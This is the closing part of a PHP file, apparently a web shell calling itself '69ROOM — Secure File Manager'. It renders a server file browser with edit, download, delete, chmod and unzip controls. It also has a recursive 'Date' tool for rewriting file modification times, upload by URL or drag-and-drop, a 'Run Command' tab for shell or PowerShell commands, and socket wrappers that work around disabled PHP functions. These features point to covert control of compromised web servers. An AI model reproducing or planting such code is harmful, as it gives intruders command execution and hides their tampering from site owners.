<th class="py-2 px-2 w-10"><input type="checkbox" id="chkAll" onclick="toggleAll(this)" class="accent-mint-500"></th>
<th class="py-2 px-2">Name</th>
<th class="py-2 px-2">Size</th>
<th class="py-2 px-2">Perms</th>
<th class="py-2 px-2">Modified</th>
<th class="py-2 px-2">Actions</th>
</tr>
</thead>
<tbody id="dirBody">
<?php foreach ($dirs as $name): $full = $current . DIRECTORY_SEPARATOR . $name;
$r = @is_readable($full); $w = @is_writable($full);
$permColorClass = $w ? 'text-mint-400' : ($r ? 'text-gray-200' : 'text-mint-700/60');
?>
<tr class="border-b border-mint-800/20 hoverable"
data-type="dir"
data-name="<?php echo h(strtolower($name)); ?>"
data-size="0"
data-mtime="<?php echo (int)@filemtime($full); ?>"
draggable="true"
ondragstart="onDragStartItem(event, <?php echo je($name); ?>)"
ondragover="onDragOverDir(event)"
ondragleave="onDragLeaveDir(event)"
ondrop="onDropToDir(event, <?php echo je($name); ?>)">
<td class="py-2 px-2"><input class="rowchk" type="checkbox" name="items[]" value="<?php echo h($name); ?>" class="accent-mint-500"></td>
<td class="py-2 px-2">
<div class="flex items-center gap-2 <?php echo $permColorClass; ?>">
<?php echo iconSvgFor($full); ?>
<a class="hover:underline font-medium"
draggable="false"
onclick="return guardLinkCopy(event)"
href="?p=<?php echo rawurlencode($full); ?>"><?php echo h($name); ?></a>
<span class="badge-small">DIR</span>
</div>
</td>
<td class="py-2 px-2 text-mint-400/50">-</td>
<td class="py-2 px-2 mono text-xs <?php echo $permColorClass; ?>"><?php echo h(permsToString($full)); ?></td>
<td class="py-2 px-2 text-xs text-mint-300/70"><?php echo h(date('Y-m-d H:i:s', @filemtime($full) ?: time())); ?></td>
<td class="py-2 px-2">
<div class="row-actions">
<span class="btn btn-xs opacity-30 pointer-events-none">Edit</span>
<span class="btn btn-xs opacity-30 pointer-events-none">DL</span>
<button type="button" class="btn btn-xs btn-ghost" onclick="toggleRow('rn-<?php echo h($name); ?>')">Rename</button>
<button type="button" class="btn btn-xs btn-ghost" onclick="toggleRow('cm-<?php echo h($name); ?>')">Chmod</button>
<button type="button" class="btn btn-xs btn-ghost" onclick="toggleRow('mt-<?php echo h($name); ?>')">Date</button>
<form method="post" action="?a=delete&p=<?php echo rawurlencode($current); ?>" onsubmit="return confirm('Delete this directory (recursive)?')" class="inline">
<input type="hidden" name="csrf" value="<?php echo h($csrf); ?>">
<input type="hidden" name="target" value="<?php echo h($name); ?>">
<input type="hidden" name="tab" value="<?php echo h($tab ?: 'create-file'); ?>">
<button class="btn btn-xs btn-ghost !text-mint-300" type="submit">Delete</button>
</form>
</div>
<div id="rn-<?php echo h($name); ?>" class="hidden mt-2">
<form method="post" action="?a=rename&p=<?php echo rawurlencode($current); ?>" class="flex flex-wrap gap-2">
<input type="hidden" name="csrf" value="<?php echo h($csrf); ?>">
<input type="hidden" name="old" value="<?php echo h($name); ?>">
<input type="text" name="new" class="field w-48 text-xs" placeholder="New name">
<input type="hidden" name="tab" value="<?php echo h($tab ?: 'create-file'); ?>">
<button class="btn btn-sm" type="submit">OK</button>
<button class="btn btn-sm btn-ghost" type="button" onclick="closeAction(this)">Cancel</button>
</form>
</div>
<div id="cm-<?php echo h($name); ?>" class="hidden mt-2">
<form method="post" action="?a=chmod&p=<?php echo rawurlencode($current); ?>" class="flex flex-wrap gap-2 items-center">
<input type="hidden" name="csrf" value="<?php echo h($csrf); ?>">
<input type="hidden" name="target" value="<?php echo h($name); ?>">
<input type="text" name="mode" class="field w-28 mono text-xs" placeholder="0755">
<label class="text-[10px] flex items-center gap-1"><input type="checkbox" name="recursive" class="accent-mint-500"> recursive</label>
<input type="hidden" name="tab" value="<?php echo h($tab ?: 'create-file'); ?>">
<button class="btn btn-sm" type="submit">OK</button>
<button class="btn btn-sm btn-ghost" type="button" onclick="closeAction(this)">Cancel</button>
</form>
</div>
<div id="mt-<?php echo h($name); ?>" class="hidden mt-2">
<form method="post" action="?a=mtime&p=<?php echo rawurlencode($current); ?>" class="flex flex-wrap gap-2 items-center">
<input type="hidden" name="csrf" value="<?php echo h($csrf); ?>">
<input type="hidden" name="target" value="<?php echo h($name); ?>">
<input type="text" name="ts" class="field w-56 mono text-xs" placeholder="YYYY-MM-DD HH:MM:SS or epoch" required>
<label class="text-[10px] flex items-center gap-1"><input type="checkbox" name="recursive" checked class="accent-mint-500"> recursive</label>
<input type="hidden" name="tab" value="<?php echo h($tab ?: 'create-file'); ?>">
<button class="btn btn-sm" type="submit">OK</button>
<button class="btn btn-sm btn-ghost" type="button" onclick="closeAction(this)">Cancel</button>
</form>
</div>
</td>
</tr>
<?php endforeach; ?>
<?php foreach ($files as $name): $full = $current . DIRECTORY_SEPARATOR . $name; $size = (int)@filesize($full); $mtime = (int)@filemtime($full); $ext=strtolower(pathinfo($full, PATHINFO_EXTENSION));
$r = @is_readable($full); $w = @is_writable($full);
$permColorClass = $w ? 'text-mint-400' : ($r ? 'text-gray-200' : 'text-mint-700/60');
?>
<tr class="border-b border-mint-800/20 hoverable"
data-type="file"
data-name="<?php echo h(strtolower($name)); ?>"
data-size="<?php echo $size; ?>"
data-mtime="<?php echo $mtime; ?>"
draggable="true"
ondragstart="onDragStartItem(event, <?php echo je($name); ?>)">
<td class="py-2 px-2"><input class="rowchk" type="checkbox" name="items[]" value="<?php echo h($name); ?>" class="accent-mint-500"></td>
<td class="py-2 px-2">
<div class="flex items-center gap-2 <?php echo $permColorClass; ?>">
<?php echo iconSvgFor($full); ?>
<a class="font-medium hover:underline"
draggable="false"
onclick="return guardLinkCopy(event)"
href="?a=view&f=<?php echo rawurlencode($name); ?>&p=<?php echo rawurlencode($current); ?>">
<?php echo h($name); ?>
</a>
</div>
</td>
<td class="py-2 px-2 mono text-xs text-mint-300/80"><?php echo h(humanSize($size)); ?></td>
<td class="py-2 px-2 mono text-xs <?php echo $permColorClass; ?>"><?php echo h(permsToString($full)); ?></td>
<td class="py-2 px-2 text-xs text-mint-300/70"><?php echo h(date('Y-m-d H:i:s', $mtime ?: time())); ?></td>
<td class="py-2 px-2">
<div class="row-actions">
<a class="btn btn-xs" href="?a=edit&f=<?php echo rawurlencode($name); ?>&p=<?php echo rawurlencode($current); ?>">Edit</a>
<a class="btn btn-xs btn-ghost" href="?a=download&f=<?php echo rawurlencode($name); ?>&p=<?php echo rawurlencode($current); ?>">DL</a>
<button type="button" class="btn btn-xs btn-ghost" onclick="toggleRow('rn-<?php echo h($name); ?>')">Rename</button>
<button type="button" class="btn btn-xs btn-ghost" onclick="toggleRow('cm-<?php echo h($name); ?>')">Chmod</button>
<button type="button" class="btn btn-xs btn-ghost" onclick="toggleRow('mt-<?php echo h($name); ?>')">Date</button>
<?php if (in_array($ext,array('zip')) || preg_match('~\.(tar|tar\.gz|tar\.bz2|tar\.xz)$~i', $name)): ?>
<form method="post" action="?a=unzip&p=<?php echo rawurlencode($current); ?>" class="inline">
<input type="hidden" name="csrf" value="<?php echo h($csrf); ?>">
<input type="hidden" name="file" value="<?php echo h($name); ?>">
<input type="hidden" name="tab" value="<?php echo h($tab ?: 'create-file'); ?>">
<button class="btn btn-xs btn-ghost" type="submit">Unzip</button>
</form>
<?php endif; ?>
<form method="post" action="?a=delete&p=<?php echo rawurlencode($current); ?>" class="inline" onsubmit="return confirm('Delete this file?')">
<input type="hidden" name="csrf" value="<?php echo h($csrf); ?>">
<input type="hidden" name="target" value="<?php echo h($name); ?>">
<input type="hidden" name="tab" value="<?php echo h($tab ?: 'create-file'); ?>">
<button class="btn btn-xs btn-ghost !text-mint-300" type="submit">Delete</button>
</form>
</div>
<div id="rn-<?php echo h($name); ?>" class="hidden mt-2">
<form method="post" action="?a=rename&p=<?php echo rawurlencode($current); ?>" class="flex flex-wrap gap-2 mt-1">
<input type="hidden" name="csrf" value="<?php echo h($csrf); ?>">
<input type="hidden" name="old" value="<?php echo h($name); ?>">
<input type="text" name="new" class="field w-48 text-xs" placeholder="New name">
<input type="hidden" name="tab" value="<?php echo h($tab ?: 'create-file'); ?>">
<button class="btn btn-sm" type="submit">OK</button>
<button class="btn btn-sm btn-ghost" type="button" onclick="closeAction(this)">Cancel</button>
</form>
</div>
<div id="cm-<?php echo h($name); ?>" class="hidden mt-2">
<form method="post" action="?a=chmod&p=<?php echo rawurlencode($current); ?>" class="flex flex-wrap gap-2 items-center mt-1">
<input type="hidden" name="csrf" value="<?php echo h($csrf); ?>">
<input type="hidden" name="target" value="<?php echo h($name); ?>">
<input type="text" name="mode" class="field w-24 mono text-xs" placeholder="0644">
<label class="text-[10px] flex items-center gap-1 opacity-50"><input type="checkbox" disabled> recursive</label>
<input type="hidden" name="tab" value="<?php echo h($tab ?: 'create-file'); ?>">
<button class="btn btn-sm" type="submit">OK</button>
<button class="btn btn-sm btn-ghost" type="button" onclick="closeAction(this)">Cancel</button>
</form>
</div>
<div id="mt-<?php echo h($name); ?>" class="hidden mt-2">
<form method="post" action="?a=mtime&p=<?php echo rawurlencode($current); ?>" class="flex flex-wrap gap-2 items-center">
<input type="hidden" name="csrf" value="<?php echo h($csrf); ?>">
<input type="hidden" name="target" value="<?php echo h($name); ?>">
<input type="text" name="ts" class="field w-56 mono text-xs" placeholder="YYYY-MM-DD HH:MM:SS or epoch" required>
<label class="text-[10px] flex items-center gap-1 opacity-50"><input type="checkbox" disabled> recursive</label>
<input type="hidden" name="tab" value="<?php echo h($tab ?: 'create-file'); ?>">
<button class="btn btn-sm" type="submit">OK</button>
<button class="btn btn-sm btn-ghost" type="button" onclick="closeAction(this)">Cancel</button>
</form>
</div>
</td>
</tr>
<?php endforeach; ?>
<?php if (empty($dirs) && empty($files)): ?>
<tr><td colspan="6" class="py-10 text-center text-mint-400/40 uppercase tracking-wider text-xs">Empty</td></tr>
<?php endif; ?>
</tbody>
</table>
</div>
<hr class="mt-3 mb-2 border-mint-800/30">
<!-- below the table -->
<div class="mt-2">
<form method="post"
action="?a=zip&p=<?php echo rawurlencode($current); ?>"
class="inline-flex flex-wrap gap-2 items-center">
<input type="hidden" name="csrf" value="<?php echo h($csrf); ?>">
<input type="text" name="zipname" class="field w-64 text-xs" placeholder="archive-name.zip (optional)">
<input type="hidden" name="tab" value="<?php echo h($tab ?: 'create-file'); ?>">
<button class="btn btn-sm" type="submit" onclick="return collectSelectedInto(this.form)">📦 Zip Selected</button>
<span class="text-[10px] text-mint-400/40 uppercase tracking-wider">
Fallback to .tar if ZipArchive unavailable
</span>
</form>
</div>
</form>
</div>
</section>
</main>
<!-- Footer -->
<footer class="w-full px-6 py-4">
<div class="footer-line mb-3"></div>
<div class="text-[10px] text-mint-400/40 uppercase tracking-widest flex items-center justify-between">
<span>© <?php echo $yearNow; ?> 69ROOM — Secure File Manager</span>
<span class="flex items-center gap-1"><span class="w-1.5 h-1.5 bg-mint-500 rounded-full animate-pulse"></span> Mint Dark UI</span>
</div>
</footer>
<script>
document.documentElement.classList.add('dark');
// ===== Simple text tabs logic for Create =====
(function(){
var tabLinks = Array.prototype.slice.call(document.querySelectorAll('#createCard .tablink'));
var tabContents = {
'tab-create-file': document.getElementById('tab-create-file'),
'tab-create-folder': document.getElementById('tab-create-folder'),
'tab-upload': document.getElementById('tab-upload'),
'tab-run-cmd': document.getElementById('tab-run-cmd')
};
var subtabsWrap = document.getElementById('uploadSubtabs');
var subtabLinks = Array.prototype.slice.call(document.querySelectorAll('#createCard .subtablink'));
var subContents = {
'sub-upload-local': document.getElementById('sub-upload-local'),
'sub-upload-url': document.getElementById('sub-upload-url')
};
var subtabsHr = document.getElementById('uploadSubtabsHr');
function activateTab(target){
tabLinks.forEach(function(a){
if(a.getAttribute('data-target')===target){ a.classList.add('active'); }
else { a.classList.remove('active'); }
});
Object.keys(tabContents).forEach(function(k){
tabContents[k].style.display = (k===target)?'block':'none';
});
var isUpload = (target==='tab-upload');
subtabsWrap.style.display = isUpload ? 'flex' : 'none';
if (subtabsHr) subtabsHr.style.display = isUpload ? 'block' : 'none';
if (target === 'tab-run-cmd') initCmdEditor();
}
function activateSub(target){
subtabLinks.forEach(function(a){
if(a.getAttribute('data-target')===target){ a.classList.add('active'); }
else { a.classList.remove('active'); }
});
Object.keys(subContents).forEach(function(k){
subContents[k].style.display = (k===target)?'block':'none';
});
}
tabLinks.forEach(function(a){
a.addEventListener('click', function(e){
e.preventDefault();
activateTab(a.getAttribute('data-target'));
});
});
subtabLinks.forEach(function(a){
a.addEventListener('click', function(e){
e.preventDefault();
activateSub(a.getAttribute('data-target'));
});
});
// init berdasar URL ?tab=...&subtab=...
(function(){
function qp(k){ return new URLSearchParams(location.search).get(k) || ''; }
var t = qp('tab'), st = qp('subtab');
if(!t) t = 'create-file';
if(t==='upload' && !st) st = 'local';
var map = {
'create-file':'tab-create-file',
'create-folder':'tab-create-folder',
'upload':'tab-upload',
'run-cmd':'tab-run-cmd'
};
var submap = { 'local':'sub-upload-local', 'url':'sub-upload-url' };
activateTab(map[t] || 'tab-create-file');
if(t==='upload') activateSub(submap[st] || 'sub-upload-local');
// refresh CodeMirror kalau kebuka Run Command
if(t==='run-cmd') initCmdEditor();
})();
})();
// Jangan navigasi ketika ada teks terseleksi (agar <a> mudah di-copy)
function guardLinkCopy(e){
var sel = '';
if (window.getSelection) sel = String(window.getSelection());
if (sel && sel.length > 0){
e.preventDefault();
return false;
}
return true;
}
// Search filter
const searchEl = document.getElementById('searchBox');
function filterRows(){
const q = (searchEl && searchEl.value || '').trim().toLowerCase();
const rows = document.querySelectorAll('#dirBody tr');
rows.forEach(function(r){
var name = r.getAttribute('data-name')||'';
r.style.display = name.indexOf(q) !== -1 ? '' : 'none';
});
}
window.addEventListener('keydown', function(e){ if(e.ctrlKey && e.key === '/'){ e.preventDefault(); if(searchEl){searchEl.focus();} } });
// Sort
var sortState = { key:'name', asc:true };
function sortBy(key){
var body = document.getElementById('dirBody');
var rows = Array.prototype.slice.call(body.querySelectorAll('tr'));
var factor = (sortState.key===key && sortState.asc)?-1:1;
sortState = { key: key, asc: factor===1 };
rows.sort(function(a,b){
if(key==='name'){ return a.dataset.name.localeCompare(b.dataset.name) * factor; }
if(key==='size' || key==='mtime'){
var av = parseInt(a.dataset[key]||'0',10);
var bv = parseInt(b.dataset[key]||'0',10);
return (av-bv) * factor;
}
return 0;
});
rows.forEach(function(r){ body.appendChild(r); });
}
// Checkboxes
function toggleAll(master){ Array.prototype.forEach.call(document.querySelectorAll('.rowchk'), function(x){ x.checked = master.checked; }); }
function selectAll(flag){ Array.prototype.forEach.call(document.querySelectorAll('.rowchk'), function(x){ x.checked = !!flag; }); var m=document.getElementById('chkAll'); if(m) m.checked=!!flag; }
function toggleRow(id){ var el=document.getElementById(id); if(el) el.classList.toggle('hidden'); }
function closeAction(btn){ var holder = btn.closest('div[id^="rn-"], div[id^="cm-"], div[id^="mt-"]'); if(holder) holder.classList.add('hidden'); }
// Collect selected items for Zip form
function collectSelectedInto(form){
Array.prototype.forEach.call(form.querySelectorAll('input[name="items[]"]'), function(n){ n.parentNode.removeChild(n); });
Array.prototype.forEach.call(document.querySelectorAll('#dirBody .rowchk:checked'), function(chk){
var i = document.createElement('input');
i.type='hidden'; i.name='items[]'; i.value=chk.value;
form.appendChild(i);
});
return true;
}
// ===== Drag & Drop Upload =====
var dropZone = document.getElementById('dropZone');
var tableCard = document.getElementById('tableCard');
var csrf = <?php echo je($csrf); ?>;
var currentPath = <?php echo je($current); ?>;
['dragenter','dragover'].forEach(function(ev){
document.addEventListener(ev, function(e){ e.preventDefault(); e.stopPropagation(); tableCard.classList.add('drop-hint'); });
});
['dragleave','drop'].forEach(function(ev){
document.addEventListener(ev, function(e){
if(ev==='dragleave' && e.target !== document) return;
tableCard.classList.remove('drop-hint');
});
});
document.addEventListener('drop', function(e){
if(!e.dataTransfer || !e.dataTransfer.files || e.dataTransfer.files.length===0) return;
e.preventDefault(); e.stopPropagation();
try{
var fd = new FormData();
fd.append('csrf', csrf);
for(var i=0;i<e.dataTransfer.files.length;i++){ var f=e.dataTransfer.files[i]; fd.append('files[]', f, f.name); }
fd.append('tab','upload'); fd.append('subtab','local');
fetch('?a=upload&p='+encodeURIComponent(currentPath), { method:'POST', body:fd })
.then(function(){ location.href='?p='+encodeURIComponent(currentPath)+'&tab=upload&subtab=local'; })
.catch(function(){ alert('Upload failed'); });
}catch(err){ console.error(err); alert('Upload failed'); }
});
// ===== Drag to Move between directories (default OFF) =====
var draggedItemName = null;
var dragEnabled = false;
(function(){
var dt = document.getElementById('dragToggle');
if (dt) {
dragEnabled = !!dt.checked;
dt.addEventListener('change', function(){ dragEnabled = !!dt.checked; });
}
})();
function onDragStartItem(ev, name){
if (!dragEnabled) { ev.preventDefault(); return false; }
draggedItemName = name; ev.dataTransfer.setData('text/plain', name);
ev.dataTransfer.effectAllowed = 'move';
}
function onDragOverDir(ev){
if (!dragEnabled) return;
ev.preventDefault(); ev.currentTarget.classList.add('droptarget');
ev.dataTransfer.dropEffect = 'move';
}
function onDragLeaveDir(ev){ ev.currentTarget.classList.remove('droptarget'); }
function onDropToDir(ev, dirName){
if (!dragEnabled) return;
ev.preventDefault();
var row = ev.currentTarget; row.classList.remove('droptarget');
var src = draggedItemName || ev.dataTransfer.getData('text/plain');
if(!src) return;
try{
var fd = new FormData();
fd.append('csrf', csrf);
fd.append('src', src);
var dstAbs = <?php echo je($current.DIRECTORY_SEPARATOR); ?> + dirName;
fd.append('dst', dstAbs);
fd.append('tab','create-file');
fetch('?a=move&p='+encodeURIComponent(currentPath), { method:'POST', body:fd })
.then(function(){ location.href='?p='+encodeURIComponent(currentPath); })
.catch(function(){ alert('Move failed'); });
}catch(err){ console.error(err); alert('Move failed'); }
}
// ===== CodeMirror Init (file editor text mode) =====
<?php if ($editFile && $viewMode === 'txt'): ?>
(function(){
var ta = document.getElementById('editor'); if (!ta) return;
var filename = <?php echo je(basename($editFile)); ?>;
CodeMirror.modeURL = "https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/%N/%N.min.js";
var info = CodeMirror.findModeByFileName(filename) || CodeMirror.findModeByMIME('text/plain');
var cm = CodeMirror.fromTextArea(ta, {
lineNumbers:true, styleActiveLine:true, matchBrackets:true, autoCloseBrackets:true,
lineWrapping:true, theme:'dracula',
mode: (info && info.mime) ? info.mime : 'text/plain',
viewportMargin: Infinity
});
if (info && info.mode) { CodeMirror.autoLoadMode(cm, info.mode); }
var det = document.getElementById('editPanel'); if(det){ det.addEventListener('toggle', function(){ setTimeout(function(){cm.refresh();},50); }); }
var form = document.getElementById('editForm'); if(form){ form.addEventListener('submit', function(){ cm.save(); }); }
})();
<?php endif; ?>
// ===== CodeMirror untuk PREVIEW (readonly, auto-detect) =====
(function(){
var pre = document.getElementById('previewPre');
if(!pre || typeof CodeMirror === 'undefined') return;
CodeMirror.modeURL = "https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/%N/%N.min.js";
var filename = <?php echo je($viewFile ? basename($viewFile) : ''); ?>;
var info = (filename && CodeMirror.findModeByFileName(filename)) || CodeMirror.findModeByMIME('text/plain');
var textValue = pre.textContent || '';
var holder = document.createElement('div');
pre.parentNode.replaceChild(holder, pre);
var cmPrev = CodeMirror(holder, {
value: textValue,
readOnly: true,
lineNumbers: true,
lineWrapping: true,
theme: 'dracula',
mode: (info && info.mime) ? info.mime : 'text/plain',
viewportMargin: Infinity
});
if (info && info.mode) CodeMirror.autoLoadMode(cmPrev, info.mode);
cmPrev.setSize('100%', 480);
var det = document.getElementById('previewPanel');
if (det) det.addEventListener('toggle', function(){ setTimeout(function(){ cmPrev.refresh(); }, 50); });
window.addEventListener('resize', function(){ cmPrev.refresh(); });
})();
// ===== CodeMirror untuk RUN COMMAND (di tab) =====
var cmCmd = null;
function initCmdEditor(){
if (cmCmd || typeof CodeMirror === 'undefined') return;
var ta = document.getElementById('cmdTA');
if(!ta) return;
CodeMirror.modeURL = "https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/%N/%N.min.js";
var isWin = <?php echo je(DIRECTORY_SEPARATOR === '\\'); ?>;
var cmdMode = isWin ? 'powershell' : 'shell';
cmCmd = CodeMirror.fromTextArea(ta, {
lineNumbers: false,
styleActiveLine: true,
matchBrackets: true,
autoCloseBrackets: true,
lineWrapping: false,
theme: 'dracula',
mode: cmdMode,
viewportMargin: 20,
});
CodeMirror.autoLoadMode(cmCmd, cmdMode);
cmCmd.setSize('100%', 44);
cmCmd.getWrapperElement().classList.add('cm-cmd-input');
cmCmd.on('beforeChange', function(cm, change){
var hasNewline = change.text && (change.text.length > 1 || /\r|\n/.test(change.text[0]));
if (hasNewline) change.update(change.from, change.to, [' ']);
});
cmCmd.on('keydown', function(cm, e){
if ((e.ctrlKey || e.metaKey) && e.key === 'Enter') {
e.preventDefault();
var form = document.getElementById('cmdForm');
if (form) form.submit();
}
});
setTimeout(function(){ cmCmd.refresh(); }, 50);
window.addEventListener('resize', function(){ if(cmCmd){ cmCmd.refresh(); } });
// Upgrade output <pre> ke CodeMirror readonly bila ada
var pre = document.getElementById('cmdOutPre');
if(pre){
var txt = pre.textContent || '';
var holder = document.createElement('div');
pre.parentNode.replaceChild(holder, pre);
var outMode = cmdMode;
var cmOut = CodeMirror(holder, {
value: txt,
readOnly: true,
lineNumbers: true,
lineWrapping: true,
theme: 'dracula',
mode: outMode,
viewportMargin: Infinity
});
CodeMirror.autoLoadMode(cmOut, outMode);
cmOut.setSize('100%', 340);
cmOut.getWrapperElement().classList.add('cm-cmd-output');
setTimeout(function(){ cmOut.refresh(); }, 50);
window.addEventListener('resize', function(){ cmOut.refresh(); });
}
}
// Copy Path button
(function(){
var btn = document.getElementById('copyPathBtn');
if(!btn) return;
var input = document.getElementById('pathInput');
var copyIcon = document.getElementById('copyIcon');
var checkIcon = document.getElementById('checkIcon');
btn.addEventListener('click', function(){
if(!input) return;
input.select();
try{
var txt = input.value || '';
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(txt).then(showTick, showTick);
} else {
document.execCommand('copy');
showTick();
}
}catch(e){ showTick(); }
});
function showTick(){
if(copyIcon && checkIcon){
copyIcon.classList.add('hidden');
checkIcon.classList.remove('hidden');
setTimeout(function(){
checkIcon.classList.add('hidden');
copyIcon.classList.remove('hidden');
}, 1200);
}
}
})();
</script>
</body>
</html>
<?php
/* ============================================================
* OPTIONAL WRAPPERS (fx_*) — unchanged
* ============================================================ */
if (!function_exists('fx_stream_socket_client')) {
function fx_stream_socket_client($remote_socket, &$errno=null, &$errstr=null, $timeout=30, $flags=0, $context=null) {
if (is_fn_usable('stream_socket_client')) {
return @stream_socket_client($remote_socket, $errno, $errstr, $timeout, $flags, $context);
}
if (is_fn_usable('fsockopen')) {
$host = $remote_socket; $port = 0;
if (stripos($remote_socket, 'tcp://') === 0 || stripos($remote_socket, 'ssl://') === 0 || stripos($remote_socket, 'tls://')===0) {
$tmp = parse_url($remote_socket);
if ($tmp && isset($tmp['host']) && isset($tmp['port'])) { $host=$tmp['host']; $port=$tmp['port']; }
} else if (strpos($remote_socket, ':') !== false) {
$parts = explode(':',$remote_socket,2); $host=$parts[0]; $port=(int)$parts[1];
}
return @fsockopen($host, $port ? $port : 80, $errno, $errstr, $timeout);
}
$errno = 0; $errstr = 'No socket functions available';
return false;
}
}
// ... (rest of fx_* functions unchanged, omitted for brevity but included in original file)
?>